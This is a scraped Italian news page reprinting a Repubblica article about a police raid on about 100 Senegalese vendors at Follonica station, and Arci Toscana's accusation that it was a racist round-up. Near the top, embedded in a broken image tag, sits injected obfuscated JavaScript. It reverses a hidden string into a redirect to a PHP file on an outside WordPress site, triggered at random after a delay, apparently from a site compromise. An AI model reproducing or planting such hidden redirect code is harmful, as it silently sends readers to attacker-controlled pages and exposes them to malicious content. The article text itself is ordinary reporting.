"Retata razzista", così l'Arci denuncia l'assalto al treno del questore di Grosseto

image_pdfimage_print

Elicottero e blitz al treno Arci grida: “Retata razzista”. Follonica, cordone alla stazione per fermare 100 immigrati

di Michele Bocci per Repubblica

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/09/elicottero_polizia.jpg”>
Un elicottero della polizia come quello impiegato a Follonica
Alla stazione di Follonica venerdì mattina le porte del treno regionale 2337, in arrivo da Pisa, sono rimaste tutte chiuse. Tranne una: quella utilizzata per far scendere uno alla volta 100 immigrati senegalesi arrivati sulla costa maremmana per vendere la loro merce da spiaggia. Sono stati tutti condotti in un edificio delle Ferrovie e controllati, tra proteste e qualche spintone. Un extracomunitario è pure finito al pronto soccorso (ma è stato dimesso subito perché non aveva nulla). Dal cielo un elicottero ha osservato le operazioni, mentre le forze dell´ordine – polizia, vigili urbani e Finanza – hanno fatto un cordone intorno allo scalo ferroviario per intercettare chi avesse tentato la fuga. Un pattuglione in grande stile sotto gli sguardi stupiti degli altri viaggiatori. Obiettivo: bloccare i clandestini e la merce falsificata.

E´ la seconda volta nel giro di pochi giorni che la questura di Grosseto mette in pratica un controllo di massa sugli ambulanti, che arrivano prevalentemente dalla provincia di Pisa. «Un´opinione pubblica democratica non può che esprimere sconcerto per quello che è successo. Stazione circondata, decine di agenti, inseguimenti, un immigrato all´ospedale, tensione al massimo». L´atto d´accusa arriva dal presidente dell´Arci Toscana Vincenzo Striano. «I reati perseguiti, da quanto si capisce, sono commercio senza licenza e possesso di merce contraffatta. Nessuno di noi è favorevole a pratiche illegali, ma è altrettanto importante avere il senso della misura e cercare di risolvere le contraddizioni della società in cui viviamo, non esasperarle».

Una parte dei cento extracomunitari controllati, circa 25, sono stati portati in questura perché non avevano i documenti. A tutti è stata sequestrata la merce. Il questore di Grosseto, Michele Laratta, aveva già disposto un controllo simile qualche tempo fa. Non sono escluse nuove operazioni di questo tipo in futuro. «Follonica è un grande centro dove si concentrano anche i venditori abusivi ma non è l´unica località dove facciamo controlli – spiega Laratta – Sono qui dal primo luglio e da un´analisi del territorio è saltato alla nostra attenzione l´alto numero di extracomunitari che si dedicano all´abusivismo. Spesso c´è insofferenza da parte della popolazione». Il questore spiega che il controllo alla stazione permette di ottenere migliori risultati e che l´operazione è partita anche dalla segnalazione di problemi sui treni tra senegalesi e personale Fs. «Noi non vogliamo perseguire chi è in regola ma gli irregolari – prosegue – e coloro che commettono altri reati come abusivismo commerciale. Tra l´altro al nostro intervento di venerdì era presente anche personale della squadra mobile perché vogliamo risalire alle organizzazione criminali che mettono a disposizione degli immigrati la merce contraffatta».

All´Arci non piace per niente questo modo di procedere. «Come è possibile non capire che azioni così violente e spettacolari permetteranno pure di sequestrare un po´ di cianfrusaglie, ma hanno come effetto principale l´aumento di paure e tensioni? – chiede Striano – In molti italiani si rafforzeranno sentimenti xenofobi per la convinzione che gli stranieri siano pericolosi criminali, e tra gli stranieri crescerà il risentimento per un concetto della legalità a senso unico. Quante sono infatti le azioni che li tutelano dallo sfruttamento spesso bestiale a cui sono sottoposti?».

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *